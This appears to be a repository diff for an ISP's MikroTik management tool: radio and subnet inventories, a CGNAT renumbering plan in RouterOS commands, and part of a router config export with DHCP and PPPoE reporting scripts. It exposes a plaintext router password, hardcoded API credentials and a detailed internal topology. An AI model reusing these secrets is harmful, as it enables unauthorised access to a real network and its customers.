- {subnet: 100.64.19.2/32, gateway: 100.64.19.253}
access_points:
- {ip: 10.10.143.11, mac: "58:C1:7A:73:5B:7E", name: "New Hope SE"}
- {ip: 10.10.143.12, mac: "00:04:56:21:E7:B8", name: "New Hope NE"}
- {ip: 10.10.143.13, mac: "58:C1:7A:73:5B:EA", name: "new hope nw"}
- {ip: 10.10.143.14, mac: "58:C1:7A:73:5C:9E", name: "new hope sw"}
backhaul_radios:
- {ip: 10.250.1.58, mac: "7A:8A:20:5F:49:EB", name: "New Hope to Core af11x", link: "newhope<->core AF11"}
- {ip: 10.250.1.109, mac: "82:2A:A8:CF:58:E0", name: "new hope to lowry crossing", link: "lowry<->newhope AF24"}
lowry:
router: 10.254.254.109
mgmt_subnet: 10.10.144.0/20
cgnat_subnets:
- {subnet: 100.64.144.0/20, gateway: 100.64.159.254}
- {subnet: 100.64.158.80/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.78/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.74/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.70/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.77/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.69/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.84/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.79/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.75/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.73/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.82/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.81/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.72/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.76/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.83/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.71/32, gateway: 100.64.159.254}
access_points:
- {ip: 10.10.159.10, mac: "00:04:56:D7:62:F6", name: "Lowry_Crossing_Omni"}
- {ip: 10.10.159.11, mac: "00:04:56:C4:FE:9E", name: "Lowry Crossing NE"}
- {ip: 10.10.159.12, mac: "58:C1:7A:71:A7:A9", name: "Lowry Crossing N"}
- {ip: 10.10.159.13, mac: "58:C1:7A:75:4D:66", name: "lowry nw"}
backhaul_radios:
- {ip: 10.250.1.106, mac: "82:2A:A8:CF:B4:5F", name: "Lowry Crossing to New Hope", link: "lowry<->newhope AF24"}
"982":
router: 10.254.254.110
mgmt_subnet: 10.10.48.0/20
cgnat_subnets:
- {subnet: 100.64.48.0/20, gateway: 100.64.63.254}
- {subnet: 100.64.62.180/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.199/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.191/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.194/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.188/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.184/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.181/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.177/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.189/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.186/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.185/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.190/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.187/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.197/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.193/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.198/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.195/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.183/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.196/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.179/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.178/32, gateway: 100.64.63.253}
access_points:
- {ip: 10.10.63.1, mac: "D0:21:F9:F0:F5:23", name: "982-1"}
- {ip: 10.10.63.2, mac: "F4:92:BF:2F:29:7E", name: "982-2"}
- {ip: 10.10.63.3, mac: "F4:92:BF:2F:29:93", name: "982-3"}
- {ip: 10.10.63.4, mac: "F4:92:BF:2F:29:8F", name: "982-4"}
- {ip: 10.10.63.5, mac: "F4:92:BF:2F:1C:0D", name: "982-5"}
- {ip: 10.10.63.6, mac: "F4:92:BF:2F:08:38", name: "982-6"}
backhaul_radios:
- {ip: 10.250.1.34, mac: "68:D7:9A:A2:03:95", name: "982_380_60 LR", link: "982<->core 60GHz"}
"494":
router: 10.254.254.111
mgmt_subnet: 10.10.160.0/20
cgnat_subnets:
- {subnet: 100.64.160.0/20, gateway: 100.64.175.254}
- {subnet: 100.64.174.214/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.212/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.211/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.210/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.209/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.207/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.205/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.204/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.203/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.202/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.208/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.206/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.213/32, gateway: 100.64.175.254}
access_points:
- {ip: 10.10.175.10, mac: "78:8A:20:AC:C5:32", name: "494-Rocket 2AC Prism"}
- {ip: 10.10.175.11, mac: "58:C1:7A:75:4D:F2", name: "494 ePMP Omni"}
core:
router: 10.254.254.253
mgmt_subnet: 10.10.64.0/20
cgnat_subnets:
- {subnet: 100.64.8.0/22, gateway: 100.64.11.254}
- {subnet: 100.64.11.153/32, gateway: 100.64.11.253}
- {subnet: 100.64.11.150/32, gateway: 100.64.11.253}
- {subnet: 100.64.11.149/32, gateway: 100.64.11.253}
- {subnet: 100.64.11.148/32, gateway: 100.64.11.253}
- {subnet: 100.64.11.146/32, gateway: 100.64.11.253}
- {subnet: 100.64.11.152/32, gateway: 100.64.11.253}
access_points:
- {ip: 10.10.79.10, mac: "58:C1:7A:73:63:2E", name: "380"}
backhaul_radios:
- {ip: 10.250.1.37, mac: "F4:92:BF:DE:F5:E4", name: "380_982_ 60 LR", link: "982<->core 60GHz"}
- {ip: 10.250.1.53, mac: "1A:E8:29:1E:AD:A3", name: "380 to Culleoka 11g", link: "culleoka<->core AF11"}
- {ip: 10.250.1.61, mac: "7A:8A:20:5F:4A:68", name: "380 to New Hope", link: "newhope<->core AF11"}
- {ip: 10.250.1.90, mac: "82:2A:A8:CF:96:AF", name: "Core to climax", link: "climax<->core AF24"}

View file

@ -0,0 +1,33 @@
# Default credentials applied to every router unless overridden per-entry.
#
# NOTE: the export command writes a file to router flash via "/export file=...",
# which requires the `ftp` policy in addition to `read` + `api`. The default
# RouterOS `read` group does NOT include `ftp`, so the read-only `grahamro`
# account in CLAUDE.md will fail with "not enough permissions (9)".
#
# Either use an account in a group with policies = read,api,ftp (or full), or
# extend the existing read group: /user group set read add-policy=ftp
defaults:
username: graham
password: ctg5qyn3uhe*UBP8rmw
port: 8729 # MikroTik API-SSL
routers:
- name: verona
host: 10.254.254.101
- name: climax
host: 10.254.254.102
- name: culleoka
host: 10.254.254.104
- name: newhope
host: 10.254.254.108
- name: lowry
host: 10.254.254.109
- name: "982"
host: 10.254.254.110
- name: "494"
host: 10.254.254.111
- name: core
host: 10.254.254.253
- name: edge
host: 10.254.254.254

231
mikrotik-tool/subnets.md Normal file
View file

@ -0,0 +1,231 @@
# CGNAT /20 alignment plan
## Goal
Make every router's CGNAT /20 base match its mgmt /20 base on the third
octet, so `10.10.X.0/20` is paired with `100.64.X.0/20` everywhere.
The **mgmt** subnets are already correctly aligned at /20. Only the
**CGNAT** ranges need to move (and in three cases, widen).
## Target state
| Router | Mgmt /20 | CGNAT today | CGNAT target | New gateway |
|----------|------------------|--------------------|--------------------|-----------------|
| verona | 10.10.0.0/20 | 100.64.0.0/22 | 100.64.0.0/20 | 100.64.3.254 (no change \*) |
| altoga\* | 10.10.80.0/20 | 100.64.12.0/22 | 100.64.80.0/20 | 100.64.95.254 |
| climax | 10.10.16.0/20 | 100.64.4.0/22 | 100.64.16.0/20 | 100.64.31.254 |
| culleoka | 10.10.96.0/20 | 100.64.24.0/22 | 100.64.96.0/20 | 100.64.111.254 |
| newhope | 10.10.128.0/20 | 100.64.16.0/22 | 100.64.128.0/20 | 100.64.143.254 |
| core | 10.10.64.0/20 | 100.64.8.0/22 | 100.64.64.0/20 | 100.64.79.254 |
| lowry | 10.10.144.0/20 | 100.64.144.0/20 | (already aligned) | 100.64.159.254 |
| 982 | 10.10.48.0/20 | 100.64.48.0/20 | (already aligned) | 100.64.63.254 |
| 494 | 10.10.160.0/20 | 100.64.160.0/20 | (already aligned) | 100.64.175.254 |
\* Verona keeps its existing gateway because `100.64.3.254` is inside the
new /20; the change is just the netmask. Altoga sits on the verona
router (`ether6-switch` interface) and is treated as its own renumber.
## Access point IPs: no changes
APs live in the top /24 of each mgmt /20. Mgmt /20s are not moving, so
**no AP IPs change**. The existing values in `radios.yaml` stay correct.
## Why the order matters
Three /20s currently overlap with someone else's planned target:
- **`100.64.0.0/20`** (verona's target) currently also contains
climax's `100.64.4.0/22`, core's `100.64.8.0/22`, and altoga's
`100.64.12.0/22`. Climax, core, and altoga must all leave before
verona widens.
- **`100.64.16.0/20`** (climax's target) currently contains newhope's
`100.64.16.0/22`. Newhope must leave before climax claims it.
- **`100.64.96.0/20`** and **`100.64.128.0/20`** and **`100.64.64.0/20`**
and **`100.64.80.0/20`** are all empty today — those moves are clean.
That gives this order:
1. **culleoka**`100.64.96.0/20` (clean)
2. **newhope**`100.64.128.0/20` (clean; frees `100.64.16.0/20`)
3. **core**`100.64.64.0/20` (clean; partly clears `100.64.0.0/20`)
4. **climax**`100.64.16.0/20` (target free after step 2; clears more of `100.64.0.0/20`)
5. **altoga**`100.64.80.0/20` (clean; clears the last subset of `100.64.0.0/20`)
6. **verona** widen `100.64.0.0/22``100.64.0.0/20` (no overlap left)
Steps 15 are independent in pairs; the only hard precedences are
2-before-4 and 3+4+5-before-6.
## The pattern (applies to every step except verona widening)
1. Add the new pool, address, and dhcp-server-network on the existing
interface.
2. Point the PPP profile at the new pool and update its `local-address`.
3. Disconnect existing PPPoE sessions (`/ppp active remove [find]`) so
they reconnect into the new range.
4. After confirming clients are on the new range, remove the old pool,
old `/ip address`, and old `/ip dhcp-server network`.
5. Audit the config for any lingering references to the old gateway IP
(hotspot profiles, scripts, firewall rules, NAT) and update them.
> Pool/profile/interface names below come from the actual `.rsc` exports.
> Substitute if your live config has drifted.
---
## Step 1 — culleoka: 100.64.24.0/22 → 100.64.96.0/20
```rsc
# add new ----------------------------------------------------
/ip pool add name=culleoka-cgnat-new ranges=100.64.96.1-100.64.111.253
/ip address add address=100.64.111.254/20 interface=ether2-netonix \
comment="cgnat /20 (renumber)"
/ip dhcp-server network add address=100.64.96.0/20 \
dns-server=204.110.191.240,204.110.191.20 domain=vntx.net \
gateway=100.64.111.254 ntp-server=204.110.191.19
# cut over ---------------------------------------------------
/ppp profile set [find name=pppoe] \
local-address=100.64.111.253 remote-address=culleoka-cgnat-new
/ppp active remove [find]
# verify, then clean up old ----------------------------------
/ip dhcp-server network remove [find address=100.64.24.0/22]
/ip address remove [find address=100.64.27.254/22]
/ip pool remove [find name=culleoka-cgnat]
/ip pool set [find name=culleoka-cgnat-new] name=culleoka-cgnat
```
## Step 2 — newhope: 100.64.16.0/22 → 100.64.128.0/20
newhope already has two pools (`cgnat` and `cgnat-full`); both must go.
```rsc
/ip pool add name=newhope-cgnat-new ranges=100.64.128.1-100.64.143.253
/ip address add address=100.64.143.254/20 interface=sfp-sfpplus1-edgepoint \
comment="cgnat /20 (renumber)"
/ip dhcp-server network add address=100.64.128.0/20 \
dns-server=204.110.191.240,204.110.191.20 domain=vntx.net \
gateway=100.64.143.254 ntp-server=204.110.191.19
/ppp profile set [find name=newhope] \
local-address=100.64.143.253 remote-address=newhope-cgnat-new
/ppp active remove [find]
/ip dhcp-server network remove [find address=100.64.16.0/22]
/ip address remove [find address=100.64.19.254/22]
/ip pool remove [find name=cgnat]
/ip pool remove [find name=cgnat-full]
/ip pool set [find name=newhope-cgnat-new] name=newhope-cgnat
```
## Step 3 — core: 100.64.8.0/22 → 100.64.64.0/20
```rsc
/ip pool add name=core-cgnat-new ranges=100.64.64.1-100.64.79.253
/ip address add address=100.64.79.254/20 interface=combo1-380 \
comment="cgnat /20 (renumber)"
/ip dhcp-server network add address=100.64.64.0/20 \
dns-server=204.110.191.240,204.110.191.20 domain=vntx.net \
gateway=100.64.79.254 ntp-server=204.110.191.19
/ppp profile set [find name=380] \
local-address=100.64.79.253 remote-address=core-cgnat-new
/ppp active remove [find]
/ip dhcp-server network remove [find address=100.64.8.0/22]
/ip address remove [find address=100.64.11.254/22]
# (core had no named cgnat pool in the export — confirm and remove if present)
/ip pool set [find name=core-cgnat-new] name=core-cgnat
```
## Step 4 — climax: 100.64.4.0/22 → 100.64.16.0/20
> This step depends on step 2 having completed.
```rsc
/ip pool add name=climax-cgnat-new ranges=100.64.16.1-100.64.31.253
/ip address add address=100.64.31.254/20 interface=climax-bridge \
comment="cgnat /20 (renumber)"
/ip dhcp-server network add address=100.64.16.0/20 \
dns-server=204.110.191.240,204.110.191.20 domain=vntx.net \
gateway=100.64.31.254 ntp-server=204.110.191.19
/ppp profile set [find name=pppoe] \
local-address=100.64.31.253 remote-address=climax-cgnat-new
/ppp active remove [find]
/ip dhcp-server network remove [find address=100.64.4.0/22]
/ip address remove [find address=100.64.7.254/22]
/ip pool remove [find name=cgnat]
/ip pool set [find name=climax-cgnat-new] name=climax-cgnat
```
## Step 5 — altoga (on the verona router): 100.64.12.0/22 → 100.64.80.0/20
> Run this on the **verona** router, against the `ether6-switch` interface
> and the `pppoe-altoga` profile. Do **not** touch verona-cgnat in this
> step.
```rsc
/ip pool add name=altoga-cgnat-new ranges=100.64.80.1-100.64.95.253
/ip address add address=100.64.95.254/20 interface=ether6-switch \
comment="altoga cgnat /20 (renumber)"
/ip dhcp-server network add address=100.64.80.0/20 \
dns-server=204.110.191.240,204.110.191.20 domain=vntx.net \
gateway=100.64.95.254 ntp-server=204.110.191.19
/ppp profile set [find name=pppoe-altoga] \
local-address=100.64.95.253 remote-address=altoga-cgnat-new
/ppp active remove [find name~"altoga"] # narrow to altoga sessions only
/ip dhcp-server network remove [find address=100.64.12.0/22]
/ip address remove [find address=100.64.15.254/22]
/ip pool remove [find name=altoga-cgnat]
/ip pool set [find name=altoga-cgnat-new] name=altoga-cgnat
```
## Step 6 — verona widen: 100.64.0.0/22 → 100.64.0.0/20
> All of steps 3, 4, 5 must be complete first. After this, verona is the
> sole occupant of `100.64.0.0/20` and the netmask widening is just a
> bookkeeping change — the existing gateway IP `100.64.3.254` stays.
```rsc
# widen the pool first so new sessions can actually use the extra space
/ip pool set [find name=verona-cgnat] ranges=100.64.0.1-100.64.15.253
# widen the address (RouterOS won't change the mask in place; replace it)
/ip address remove [find address=100.64.3.254/22]
/ip address add address=100.64.3.254/20 interface=verona network=100.64.0.0 \
comment="cgnat /20 (widened from /22)"
# widen the dhcp-server network
/ip dhcp-server network remove [find address=100.64.0.0/22]
/ip dhcp-server network add address=100.64.0.0/20 \
dns-server=204.110.191.240,204.110.191.20 domain=vntx.net \
gateway=100.64.3.254 ntp-server=204.110.191.19
# (PPP profile pppoe-verona already references verona-cgnat — no change.)
# Cycle sessions if you want them on the wider range immediately:
/ppp active remove [find name~"verona"]
```
---
## Post-migration audit checklist
Run on every renumbered router:
```rsc
# any stale /22 references?
:put [/ip address find where address~"/22"]
:put [/ip dhcp-server network find where address~"/22"]
# any references to old gateways in scripts / firewall / nat?
/log print where message~"100.64."
/ip firewall nat print where dst-address~"100.64." or src-address~"100.64."
/ip firewall filter print where dst-address~"100.64." or src-address~"100.64."
```
Also re-pull the exports and re-run `mikrotik-tool radios` so
`radios.yaml` and `subnets.yaml` reflect the new layout.

View file

@ -0,0 +1,69 @@
# Per-router management (10.10.0.0/8) and CGNAT (100.64.0.0/10) subnets,
# extracted from the *.rsc exports in this directory.
#
# `mgmt` is the customer-facing /20 the router holds on its tower-side
# interface; the gateway is the router's IP within it. `cgnat` is the
# RFC 6598 range the router hands to PPPoE clients, with the router's
# gateway IP. A router can carry multiple of either when it serves a
# satellite tower (e.g., verona also serves altoga off the same router).
#
# Last refreshed: 2026-05-08.
routers:
verona:
host: 10.254.254.101
mgmt:
- { subnet: 10.10.0.0/20, gateway: 10.10.15.254 } # verona tower
- { subnet: 10.10.80.0/20, gateway: 10.10.95.254 } # altoga satellite
cgnat:
- { subnet: 100.64.0.0/22, gateway: 100.64.3.254 }
- { subnet: 100.64.12.0/22, gateway: 100.64.15.254 }
climax:
host: 10.254.254.102
mgmt:
- { subnet: 10.10.16.0/20, gateway: 10.10.31.254 }
cgnat:
- { subnet: 100.64.4.0/22, gateway: 100.64.7.254 }
culleoka:
host: 10.254.254.104
mgmt:
- { subnet: 10.10.96.0/20, gateway: 10.10.111.254 }
cgnat:
- { subnet: 100.64.24.0/22, gateway: 100.64.27.254 }
newhope:
host: 10.254.254.108
mgmt:
- { subnet: 10.10.128.0/20, gateway: 10.10.143.254 }
cgnat:
- { subnet: 100.64.16.0/22, gateway: 100.64.19.254 }
lowry:
host: 10.254.254.109
mgmt:
- { subnet: 10.10.144.0/20, gateway: 10.10.159.254 }
cgnat:
- { subnet: 100.64.144.0/20, gateway: 100.64.159.254 }
"982":
host: 10.254.254.110
mgmt:
- { subnet: 10.10.48.0/20, gateway: 10.10.63.254 }
cgnat:
- { subnet: 100.64.48.0/20, gateway: 100.64.63.254 }
"494":
host: 10.254.254.111
mgmt:
- { subnet: 10.10.160.0/20, gateway: 10.10.175.254 }
cgnat:
- { subnet: 100.64.160.0/20, gateway: 100.64.175.254 }
core:
host: 10.254.254.253
mgmt:
- { subnet: 10.10.64.0/20, gateway: 10.10.79.254 }
cgnat:
- { subnet: 100.64.8.0/22, gateway: 100.64.11.254 }

972
mikrotik-tool/verona.rsc Normal file
View file

@ -0,0 +1,972 @@
# 2026-05-08 17:46:02 by RouterOS 7.21.4
# software id = Y1CT-1WB1
#
# model = CCR2004-16G-2S+
# serial number = HF109012G8D
/interface bridge
add fast-forward=no name=cpe_vlan_10 port-cost-mode=short
add fast-forward=no mtu=1500 name=public_vlan_100 port-cost-mode=short \
protocol-mode=none
add add-dhcp-option82=yes dhcp-snooping=yes mtu=1500 name=verona \
port-cost-mode=short protocol-mode=none
/interface ethernet
set [ find default-name=ether1 ] l2mtu=1500
set [ find default-name=ether2 ] l2mtu=1500
set [ find default-name=ether3 ] l2mtu=2024 name=ether3-climax-11ghz \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether4 ] l2mtu=9582 name=ether4-verona-tower
set [ find default-name=ether5 ] l2mtu=9582
set [ find default-name=ether6 ] l2mtu=9582 name=ether6-switch
set [ find default-name=ether7 ] l2mtu=9582
set [ find default-name=ether8 ] l2mtu=9582
set [ find default-name=ether9 ] l2mtu=9582
set [ find default-name=ether10 ] l2mtu=1500 name=ether10-powerswitch
set [ find default-name=ether11 ] l2mtu=9582
set [ find default-name=ether12 ] l2mtu=9582
set [ find default-name=ether13 ] l2mtu=9582
set [ find default-name=ether14 ] l2mtu=9582
set [ find default-name=ether15 ] l2mtu=9582 mtu=9000 name=ether15_wave_n
set [ find default-name=ether16 ] l2mtu=9582
set [ find default-name=sfp-sfpplus1 ] l2mtu=9586 name=\
sfp-sfpplus1-verona-tower-switch
set [ find default-name=sfp-sfpplus2 ] l2mtu=9586 name=sfp-sfpplus2-switch
/interface vlan
add interface=sfp-sfpplus1-verona-tower-switch name=vlan9_sfpplus1 vlan-id=9
add interface=ether15_wave_n name=vlan10_ether15 vlan-id=10
add interface=sfp-sfpplus2-switch name=vlan10_sfpplus2 vlan-id=10
add interface=verona name=vlan_10_ether6 vlan-id=10
add interface=ether6-switch name=vlan_19_ether6 vlan-id=19
/interface lte apn
set [ find default=yes ] ip-type=ipv4 use-network-apn=no
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip hotspot profile
add dns-name=verona.tx.vntx.net hotspot-address=100.64.3.254 login-by="" \
name=hsprof1
/ip hotspot user profile
set [ find default=yes ] add-mac-cookie=no
/ip ipsec proposal
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
aes-256-cbc,aes-128-cbc pfs-group=modp2048
/ip pool
add name=verona-cpe ranges=10.10.0.1-10.10.14.254
add name=altoga-old ranges=10.100.80.1-10.100.94.254
add name=altoga-cpe ranges=10.10.80.1-10.10.94.254
add name=verona-cgnat ranges=100.64.0.1-100.64.3.249
add name=altoga-cgnat ranges=100.64.12.1-100.64.15.253
add name=verona-tower-pool ranges=10.0.101.1-10.0.101.249
/ip dhcp-server
add address-pool=altoga-cpe authoritative=after-2sec-delay disabled=yes \
interface=vlan_10_ether6 lease-script=":global username \"6aYoFE5Pw8ky1JyO\
\"\r\
\n:global password \"aZLnmeROsUYfUNGw\"\r\
\n:global url \"204.110.191.244\"\r\
\n:global mode \"http\"\r\
\n\r\
\n:if (\$leaseBound = 0) do={\r\
\n /tool fetch url=\"\$mode://\$url/api/dhcp_assignments\?ip_address=\$l\
easeActIP&leased_mac_address=\$leaseActMAC&expired=1\" mode=\$mode keep-re\
sult=no user=\$username password=\$password\r\
\n} else={\r\
\n { :delay 1 };\r\
\n :local remoteID\r\
\n :set remoteID [/ip dhcp-server lease get [find where address=\$leaseA\
ctIP] agent-remote-id]\r\
\n /tool fetch url=\"\$mode://\$url/api/dhcp_assignments\?ip_address=\$l\
easeActIP&leased_mac_address=\$leaseActMAC&remote_id=\$remoteID&expired=0\
\" mode=\$mode keep-result=no user=\$username password=\$password\r\
\n};" lease-time=1h name=altoga-cpe
add add-arp=yes address-pool=verona-tower-pool interface=\
sfp-sfpplus1-verona-tower-switch lease-time=1h name=verona-tower
add add-arp=yes address-pool=verona-cgnat interface=verona lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n :if (\$leaseBound = 0) do {\
\n # Try url2 (iptrack.vntx.net) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
t for \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n # Try url (gaiia) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
or \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 3s;\
\n }\
\n } else {\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n # Try url2 (iptrack.vntx.net) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
;\
\n }\
\n\
\n # Try url (gaiia) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 30s;\
\n }\
\n }\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" lease-time=1h name="verona cgnat" use-radius=accounting
/ip hotspot
add address-pool=verona-cgnat addresses-per-mac=unlimited interface=verona \
name=hotspot1 profile=hsprof1
/ip smb users
set [ find default=yes ] disabled=yes
/ppp profile
add change-tcp-mss=yes dhcpv6-pd-pool=verona-v6-pd-pool dns-server=\
204.110.191.240,204.110.191.250 idle-timeout=1h local-address=\
100.64.15.253 name=pppoe-verona on-down="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 1\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
\_for \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (AWS API)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
r \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" on-up="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 5\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
